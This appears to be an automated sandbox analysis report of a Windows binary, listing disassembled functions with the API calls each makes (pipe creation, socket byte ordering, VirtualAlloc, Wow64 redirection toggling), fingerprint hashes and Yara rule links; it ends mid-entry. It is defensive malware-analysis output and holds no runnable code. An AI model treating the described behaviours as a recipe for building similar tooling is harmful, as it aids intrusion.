Opcode ID: 816fa3ad8d5365524cf00bbe74b58302ee03789401e042bed99538d8b8dbf25c
Instruction ID: b16a82cb7c2139e04b5c2036b1cc79e437b753d75b41075fb1eb96375a7f2ece
Opcode Fuzzy Hash: 816fa3ad8d5365524cf00bbe74b58302ee03789401e042bed99538d8b8dbf25c
Instruction Fuzzy Hash: FDE0EC7474030AFBDF00DBE6DD1AA9D77BCAB4079DF540155B402E2291DBB4DA449730

Function 00DB5450 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,?,00DB3465,?), ref: 00DB545D
GetProcAddress.KERNEL32(00000000), ref: 00DB5464

Strings

kernel32, xrefs: 00DB5458
Wow64DisableWow64FsRedirection, xrefs: 00DB5453

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 1646373207-736604160
Opcode ID: 9e8ad9c43bff05399fd74dcd06e414064ae2bc51927056bc65490323afb48f0f
Instruction ID: 48cf562b06b8911942e116e91a01db8996c58910b9029bbed5e83203e33431d9
Opcode Fuzzy Hash: 9e8ad9c43bff05399fd74dcd06e414064ae2bc51927056bc65490323afb48f0f
Instruction Fuzzy Hash: DCC01238381708BB8B002BF2EC099093BACEA84A66B444023B40AC1260CF7185808674

Function 00DB5475 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,?,00DB3484,?,00000000,00000002), ref: 00DB5482
GetProcAddress.KERNEL32(00000000), ref: 00DB5489

Strings

kernel32, xrefs: 00DB547D
Wow64RevertWow64FsRedirection, xrefs: 00DB5478

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 1646373207-3900151262
Opcode ID: 3a06deaafb9e6fff88f1f1cdb6a08b667fedff7807c50727afe6fde3c4d13312
Instruction ID: fabdd5e205e1fa8ea7b239fb7a7e2ec21c1b3a8b9ecb917a8c7dc16003eaebce
Opcode Fuzzy Hash: 3a06deaafb9e6fff88f1f1cdb6a08b667fedff7807c50727afe6fde3c4d13312
Instruction Fuzzy Hash: F0C08C38381708FF8F003BF7EC0AA093B2CFA81B663444023B40AC1260CF71C4808670

Function 00DB1DEA Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

APIs

Part of subcall function 00DB8250: htonl.WS2_32(8900DF3A), ref: 00DB8266

GetLastError.KERNEL32(?,00000000,00000080,?,?,00DB558E,00DE81B0,00000000), ref: 00DB2036

Part of subcall function 00DBD9B2: GetCurrentProcess.KERNEL32(000F003F,00000000,00000000,?,00000000,00000001,00000000,D78B5955,00000000,?,?,00DB1FCE,00000000,000F003F,?,00000000), ref: 00DBDA21

_memset.LIBCMT ref: 00DB21A8

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CurrentErrorLastProcess_memsethtonl
String ID:
API String ID: 529797354-0
Opcode ID: 36510c69aab29577729562bc8e987c29ec9aba271a739a827c7b36223c6f7f94
Instruction ID: 5551bd0835241b6133d21f45a56c426bd3291c89af8eac6f9d194f1d95174d9d
Opcode Fuzzy Hash: 36510c69aab29577729562bc8e987c29ec9aba271a739a827c7b36223c6f7f94
Instruction Fuzzy Hash: AEC179B2A10B01DFE720DF69CC81AA673E5FB88304B18893DE587D6651E734E546DB30

Function 00DB1DEA Relevance: 6.4, APIs: 4, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00000080,?,?,00DB558E,00DE81B0,00000000), ref: 00DB2036

Part of subcall function 00DBD9B2: GetCurrentProcess.KERNEL32(000F003F,00000000,00000000,?,00000000,00000001,00000000,D78B5955,00000000,?,?,00DB1FCE,00000000,000F003F,?,00000000), ref: 00DBDA21

_memset.LIBCMT ref: 00DB21A8

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CurrentErrorLastProcess_memset
String ID:
API String ID: 652633832-0
Opcode ID: 2ebb31ecf83318c086477f3e39be9516fb3890de3afaf3b0a436e576864611f8
Instruction ID: 5551bd0835241b6133d21f45a56c426bd3291c89af8eac6f9d194f1d95174d9d
Opcode Fuzzy Hash: 2ebb31ecf83318c086477f3e39be9516fb3890de3afaf3b0a436e576864611f8
Instruction Fuzzy Hash: AEC179B2A10B01DFE720DF69CC81AA673E5FB88304B18893DE587D6651E734E546DB30

Function 00D7203F Relevance: 6.2, APIs: 4, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D72080
__snprintf.LIBCMT ref: 00D720A7

Part of subcall function 00D789F6: _memset.LIBCMT ref: 00D78A17

__snprintf.LIBCMT ref: 00D72123

Part of subcall function 00D752EC: _memset.LIBCMT ref: 00D752FC
Part of subcall function 00D752EC: _memset.LIBCMT ref: 00D75308
Part of subcall function 00D752EC: __snprintf.LIBCMT ref: 00D75359
Part of subcall function 00D752EC: _memset.LIBCMT ref: 00D75390
Part of subcall function 00D752EC: _memset.LIBCMT ref: 00D7539B

Part of subcall function 00D753B6: _memset.LIBCMT ref: 00D753C6
Part of subcall function 00D753B6: _memset.LIBCMT ref: 00D753D2
Part of subcall function 00D753B6: __snprintf.LIBCMT ref: 00D7542E
Part of subcall function 00D753B6: _memset.LIBCMT ref: 00D7544C
Part of subcall function 00D753B6: _memset.LIBCMT ref: 00D75457

__snprintf.LIBCMT ref: 00D7213A

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _memset$__snprintf
String ID:
API String ID: 1922369481-0
Opcode ID: ead7a9399f8d34496f40cd949b27a9a8331296bddb999b6bbc598e89ded7c35d
Instruction ID: f5783c8531328dfe1a8ffefc928b194b361c4127caaa9b8e242be62eb6e7924e
Opcode Fuzzy Hash: ead7a9399f8d34496f40cd949b27a9a8331296bddb999b6bbc598e89ded7c35d
Instruction Fuzzy Hash: 02519F72900259BFDB12AFA4DC85DFE7BB8FF05310F148069FA18A7161EB309A458B75

Function 00DB4CCD Relevance: 6.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

Part of subcall function 00DC9218: __fsopen.LIBCMT ref: 00DC9225

_fseek.LIBCMT ref: 00DB4D43

Part of subcall function 00DC9852: __lock_file.LIBCMT ref: 00DC9861
Part of subcall function 00DC9852: __ftelli64_nolock.LIBCMT ref: 00DC986E

_fseek.LIBCMT ref: 00DB4D5C

Part of subcall function 00DC9BE3: __lock_file.LIBCMT ref: 00DC9C2E
Part of subcall function 00DC9BE3: __fseek_nolock.LIBCMT ref: 00DC9C3E

GetFullPathNameA.KERNEL32(?,00000800,?,00000000), ref: 00DB4D89
_malloc.LIBCMT ref: 00DB4DA3

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _malloc$__lock_file_fseek$FullNamePath__fseek_nolock__fsopen__ftelli64_nolock
String ID:
API String ID: 73014519-0
Opcode ID: 2ac9803391e3108b8e1a8cdaaff6ddf13b37dd0112536b6c77aca21eac72e4f7
Instruction ID: 3b9c2becabbf478ce625b42fb6ed1a2b757b01b161097e1f9a40c70426ec1af6
Opcode Fuzzy Hash: 2ac9803391e3108b8e1a8cdaaff6ddf13b37dd0112536b6c77aca21eac72e4f7
Instruction Fuzzy Hash: 0B419576800208EACF11BBA4CC86FDEBBBCFF04710F14452AF516A7292EA7595549B74

Function 00DB4CCD Relevance: 6.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

Part of subcall function 00DC9218: __fsopen.LIBCMT ref: 00DC9225

_fseek.LIBCMT ref: 00DB4D43

Part of subcall function 00DC9852: __lock_file.LIBCMT ref: 00DC9861
Part of subcall function 00DC9852: __ftelli64_nolock.LIBCMT ref: 00DC986E

_fseek.LIBCMT ref: 00DB4D5C

Part of subcall function 00DC9BE3: __lock_file.LIBCMT ref: 00DC9C2E
Part of subcall function 00DC9BE3: __fseek_nolock.LIBCMT ref: 00DC9C3E

GetFullPathNameA.KERNEL32(?,00000800,?,00000000), ref: 00DB4D89
_malloc.LIBCMT ref: 00DB4DA3

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _malloc$__lock_file_fseek$FullNamePath__fseek_nolock__fsopen__ftelli64_nolock
String ID:
API String ID: 73014519-0
Opcode ID: c3e8423febd3fe34c047ca688e5d44bdcb7f9385b7f33f25835727e774717eee
Instruction ID: 3b9c2becabbf478ce625b42fb6ed1a2b757b01b161097e1f9a40c70426ec1af6
Opcode Fuzzy Hash: c3e8423febd3fe34c047ca688e5d44bdcb7f9385b7f33f25835727e774717eee
Instruction Fuzzy Hash: 0B419576800208EACF11BBA4CC86FDEBBBCFF04710F14452AF516A7292EA7595549B74

Function 00DB3F99 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fafee3570bfb1d15ff292a2d921cc4965e0c821b06a38af0948cdc9dafad7173
Instruction ID: 99cb419f186677a8c15d035ed6e42cee133ad7cae13d9ac202bfd31fb049feb8
Opcode Fuzzy Hash: fafee3570bfb1d15ff292a2d921cc4965e0c821b06a38af0948cdc9dafad7173
Instruction Fuzzy Hash: 6D416B72C00509FADF01FBA4DC42DEEBBB9EF44314F14402AF915A2252EB359A55ABB4

Function 00DB3F99 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af96649240ded465450dd14a8d26e84b7427fd6d4892f02dd22057f6578a939a
Instruction ID: 99cb419f186677a8c15d035ed6e42cee133ad7cae13d9ac202bfd31fb049feb8
Opcode Fuzzy Hash: af96649240ded465450dd14a8d26e84b7427fd6d4892f02dd22057f6578a939a
Instruction Fuzzy Hash: 6D416B72C00509FADF01FBA4DC42DEEBBB9EF44314F14402AF915A2252EB359A55ABB4

Function 00DBCC6F Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

__time64.LIBCMT ref: 00DBCC7B

Part of subcall function 00DC9E8E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00DBCB2D,00000000,00000080,?,?,?,00DB13F0,?,00000000,00000000,00000000,00000000), ref: 00DC9E99
Part of subcall function 00DC9E8E: __aulldiv.LIBCMT ref: 00DC9EB9

__time64.LIBCMT ref: 00DBCC96
__time64.LIBCMT ref: 00DBCD26
__time64.LIBCMT ref: 00DBCD8A

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: __time64$Time$FileSystem__aulldiv
String ID:
API String ID: 4218076520-0
Opcode ID: 979b7d82c7253b864d4e79703cfcf7af156ffc855b533e30c36816fd51ffd29f
Instruction ID: 4bc6fab59af33bca0b1863b0636809a6ab3cee5136dddb79eeabc11b9f95f85b
Opcode Fuzzy Hash: 979b7d82c7253b864d4e79703cfcf7af156ffc855b533e30c36816fd51ffd29f
Instruction Fuzzy Hash: 904126B8910384CFC724EFA9E9C25A5BBE4FBA5350724923ED05ACB3A1D3709944DB70

Function 00D7C06F Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

__time64.LIBCMT ref: 00D7C07B

Part of subcall function 00D8928E: __aulldiv.LIBCMT ref: 00D892B9

__time64.LIBCMT ref: 00D7C096
__time64.LIBCMT ref: 00D7C126
__time64.LIBCMT ref: 00D7C18A

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __time64$__aulldiv
String ID:
API String ID: 2203630334-0
Opcode ID: 4bdce021f664fb6a8a2a07c26b2a73003d50b7fd43c405f525bd81e189684942
Instruction ID: 9a86604d8792b840932bdbb2b9a5aa746ed2c47b0e9c0e83698e452ccb807288
Opcode Fuzzy Hash: 4bdce021f664fb6a8a2a07c26b2a73003d50b7fd43c405f525bd81e189684942
Instruction Fuzzy Hash: 12415A75810710CFE32ADF69CEC2526B7E0FB8A310794D13EE89DCA262E7B05840DB60

Function 00DB7303 Relevance: 6.1, APIs: 4, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB731D
_memset.LIBCMT ref: 00DB7335

Part of subcall function 00DB8293: htons.WS2_32(?), ref: 00DB82AB

Part of subcall function 00DB7260: GetLastError.KERNEL32(-0000EA60,00000000,?,00DB37B2,?), ref: 00DB727A

Sleep.KERNEL32(000001F4), ref: 00DB73C8
GetLastError.KERNEL32 ref: 00DB73D4

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ErrorLast_memset$Sleephtons
String ID:
API String ID: 2264653377-0
Opcode ID: 963605eb3a14d657a7d69fca771bcbdd6b63a556e28c08e39e32860723418bfa
Instruction ID: f206063e2d8443a4cbf573a79659aa6c6863925320ec65c2579ae98126b60717
Opcode Fuzzy Hash: 963605eb3a14d657a7d69fca771bcbdd6b63a556e28c08e39e32860723418bfa
Instruction Fuzzy Hash: E931607690431DAEDF11AAE4DC82EEE77BCEF44354F04006AF616A6281EA359A089774

Function 00DB7303 Relevance: 6.1, APIs: 4, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB731D
_memset.LIBCMT ref: 00DB7335

Part of subcall function 00DB7260: GetLastError.KERNEL32(-0000EA60,00000000,?,00DB37B2,?), ref: 00DB727A

Sleep.KERNEL32(000001F4), ref: 00DB73C8
GetLastError.KERNEL32 ref: 00DB73D4

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ErrorLast_memset$Sleep
String ID:
API String ID: 4288913296-0
Opcode ID: ed3829cd5923d5acf06ec9733b03637165b91a318efad220b3f57f430e8f0cf7
Instruction ID: f206063e2d8443a4cbf573a79659aa6c6863925320ec65c2579ae98126b60717
Opcode Fuzzy Hash: ed3829cd5923d5acf06ec9733b03637165b91a318efad220b3f57f430e8f0cf7
Instruction Fuzzy Hash: E931607690431DAEDF11AAE4DC82EEE77BCEF44354F04006AF616A6281EA359A089774

Function 00DD38D8 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00DD390C
__isleadbyte_l.LIBCMT ref: 00DD3940
MultiByteToWideChar.KERNEL32(488D10C4,00000009,00000000,53DC458D,00DE15C0,00000000,?,?,?,00DBC08B,00000000,00DE15C0,00000000), ref: 00DD3971
MultiByteToWideChar.KERNEL32(488D10C4,00000009,00000000,00000001,00DE15C0,00000000,?,?,?,00DBC08B,00000000,00DE15C0,00000000), ref: 00DD39DF

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 716244ab207ba0279e284591128ac0609098a4792c8eeb8f40b8513e5ef6d592
Instruction ID: 2890352efec7c56df083a6ad7b4cec4dbe27fc690dc3e4bd3de3b65bc53b347b
Opcode Fuzzy Hash: 716244ab207ba0279e284591128ac0609098a4792c8eeb8f40b8513e5ef6d592
Instruction Fuzzy Hash: 3631A23190424AEFDB20DF64C8A5AAD7BA5FF01311F19456AE4A19B391D370DE40DF72

Function 00DB6C20 Relevance: 6.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB6C39
GetVersionExA.KERNEL32(?,?,?,00000000), ref: 00DB6C52
SetLastError.KERNEL32(00000005,?,?,00000000), ref: 00DB6C77

Part of subcall function 00DBD320: GetCurrentProcess.KERNEL32(000001B0,?,?,?,?,00DB2023,00000000,000001B0,?,00000000,00000080,?,?,00DB558E,00DE81B0,00000000), ref: 00DBD369

Part of subcall function 00DBD320: VirtualAlloc.KERNEL32(00000000,00DB2023,00003000,00000000,000001B0,?,?,?,?,00DB2023,00000000,000001B0,?,00000000,00000080), ref: 00DBD3CA

SetLastError.KERNEL32(00000006,?,?,00000000), ref: 00DB6CF4

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ErrorLast$AllocCurrentProcessVersionVirtual_memset
String ID:
API String ID: 3952774693-0
Opcode ID: 7da21adc663d3d706e8a67ff40aa4270fbfd502f96806dafcefe7669d246c1d8
Instruction ID: 0a657f9c836f473a110d9c807e17d044dd27879e9c6755598ee909798266ba5c
Opcode Fuzzy Hash: 7da21adc663d3d706e8a67ff40aa4270fbfd502f96806dafcefe7669d246c1d8
Instruction Fuzzy Hash: 2121F732A00314EFD7309E749C42BDB7BE4EB05724F150025E94FA7282EA74D9498BB0

Function 00DB6C20 Relevance: 6.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB6C39
GetVersionExA.KERNEL32(?), ref: 00DB6C52
SetLastError.KERNEL32(00000005), ref: 00DB6C77

Part of subcall function 00DBD320: GetCurrentProcess.KERNEL32(000001B0,?,?,?,?,00DB2023,00000000,000001B0,?,00000000,00000080,?,?,00DB558E,00DE81B0,00000000), ref: 00DBD369

Part of subcall function 00DBD320: VirtualAlloc.KERNEL32(00000000,00DB2023,00003000,00000000,000001B0,?,?,?,?,00DB2023,00000000,000001B0,?,00000000,00000080), ref: 00DBD3CA

SetLastError.KERNEL32(00000006), ref: 00DB6CF4

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ErrorLast$AllocCurrentProcessVersionVirtual_memset
String ID:
API String ID: 3952774693-0
Opcode ID: 56e831b719296b6a3aa2dd107392d8ed7a09a6dd2e82f7451b8ea8c783cb5076
Instruction ID: 0a657f9c836f473a110d9c807e17d044dd27879e9c6755598ee909798266ba5c
Opcode Fuzzy Hash: 56e831b719296b6a3aa2dd107392d8ed7a09a6dd2e82f7451b8ea8c783cb5076
Instruction Fuzzy Hash: 2121F732A00314EFD7309E749C42BDB7BE4EB05724F150025E94FA7282EA74D9498BB0

Function 00DB7017 Relevance: 6.1, APIs: 4, Instructions: 81synchronizationCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB7033

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

htonl.WS2_32(?), ref: 00DB7048

Part of subcall function 00DB7162: PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000080), ref: 00DB7183

WaitForSingleObject.KERNEL32(00000000,00000000,00000000,00000000,00000080), ref: 00DB70AF
_memset.LIBCMT ref: 00DB70E0

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AllocateHeapNamedObjectPeekPipeSingleWait_malloc_memsethtonl
String ID:
API String ID: 2241902265-0
Opcode ID: b06e1e6090bec903adcce3fe0327fd55a923c88934fab92d3d5b51a4925cb0cb
Instruction ID: 7eda7c9c13baa64cdf41f0c3949c292c0bdb97d06f0825f743b65ae6dd36fd79
Opcode Fuzzy Hash: b06e1e6090bec903adcce3fe0327fd55a923c88934fab92d3d5b51a4925cb0cb
Instruction Fuzzy Hash: 2221C471904201EBDF20BFA99881AEE77B4FF84760F654156FC45AB282EB70CD418775

Function 00DB7017 Relevance: 6.1, APIs: 4, Instructions: 81synchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB7033

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00DEFFA0,?,00DB106E,00004008,?,?,?,?,00000003,?,70207369), ref: 00DC8876

htonl.WS2_32(?), ref: 00DB7048
WaitForSingleObject.KERNEL32(?,00000000,00000000,00000000,00000080), ref: 00DB70AF
_memset.LIBCMT ref: 00DB70E0

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: AllocateHeapObjectSingleWait_malloc_memsethtonl
String ID:
API String ID: 3856049160-0
Opcode ID: a9d644d3dc2f5fc706d93fc4146e9f5c02e290d5b4b0abc63994e00a45415a0e
Instruction ID: 7eda7c9c13baa64cdf41f0c3949c292c0bdb97d06f0825f743b65ae6dd36fd79
Opcode Fuzzy Hash: a9d644d3dc2f5fc706d93fc4146e9f5c02e290d5b4b0abc63994e00a45415a0e
Instruction Fuzzy Hash: 2221C471904201EBDF20BFA99881AEE77B4FF84760F654156FC45AB282EB70CD418775

Function 00DB32EC Relevance: 6.1, APIs: 4, Instructions: 76synchronizationpipeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB32FF
CreatePipe.KERNEL32(?,?,?,00100000), ref: 00DB3335
GetStartupInfoA.KERNEL32(?), ref: 00DB333F
WaitForSingleObject.KERNEL32(?,00002710), ref: 00DB3383

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CreateInfoObjectPipeSingleStartupWait_memset
String ID:
API String ID: 468459245-0
Opcode ID: a9f3adcc7b861c043d03ba3a9e601a8231580c7dddd69f40ceceb267d2e173b4
Instruction ID: 79d2c6659b41965294aae56917dc146933c58c7ab724a46bbefdbb8f61c7e47f
Opcode Fuzzy Hash: a9f3adcc7b861c043d03ba3a9e601a8231580c7dddd69f40ceceb267d2e173b4
Instruction Fuzzy Hash: 0A212572C00218FEDB10DFA8DD45ADEBBB9FF48310F100116FA05E6251E7719A058BA1

Function 00DB32EC Relevance: 6.1, APIs: 4, Instructions: 76synchronizationpipeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB32FF
CreatePipe.KERNEL32(?,?,?,00100000), ref: 00DB3335
GetStartupInfoA.KERNEL32(?), ref: 00DB333F
WaitForSingleObject.KERNEL32(?,00002710), ref: 00DB3383

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CreateInfoObjectPipeSingleStartupWait_memset
String ID:
API String ID: 468459245-0
Opcode ID: a5e0a75f24bddbb3a05318d075c0f4a2862b454543c642f9ea8646a79b39ba0c
Instruction ID: 79d2c6659b41965294aae56917dc146933c58c7ab724a46bbefdbb8f61c7e47f
Opcode Fuzzy Hash: a5e0a75f24bddbb3a05318d075c0f4a2862b454543c642f9ea8646a79b39ba0c
Instruction Fuzzy Hash: 0A212572C00218FEDB10DFA8DD45ADEBBB9FF48310F100116FA05E6251E7719A058BA1

Function 00D70CD3 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

_vwprintf.LIBCMT ref: 00D70CF2

Part of subcall function 00D87FCD: __vscwprintf_helper.LIBCMT ref: 00D87FDF

_malloc.LIBCMT ref: 00D70D1B
_vswprintf_s.LIBCMT ref: 00D70D58
_memset.LIBCMT ref: 00D70D6F

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __vscwprintf_helper_malloc_memset_vswprintf_s_vwprintf
String ID:
API String ID: 2856252058-0
Opcode ID: eccc273c426231604760ca4403401cd5331d21854103d622b5c33626475fdbcf
Instruction ID: 89add50b5b65483f55346bf734faf97b606bbc22bebd71fe6c1ee5d543c136ec
Opcode Fuzzy Hash: eccc273c426231604760ca4403401cd5331d21854103d622b5c33626475fdbcf
Instruction Fuzzy Hash: 9D1160B6805618BFDB12AF94DC42AEE7B6CEF45350F248466F90896141F731EB418BB1

Function 00DB113A Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00DB114F

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

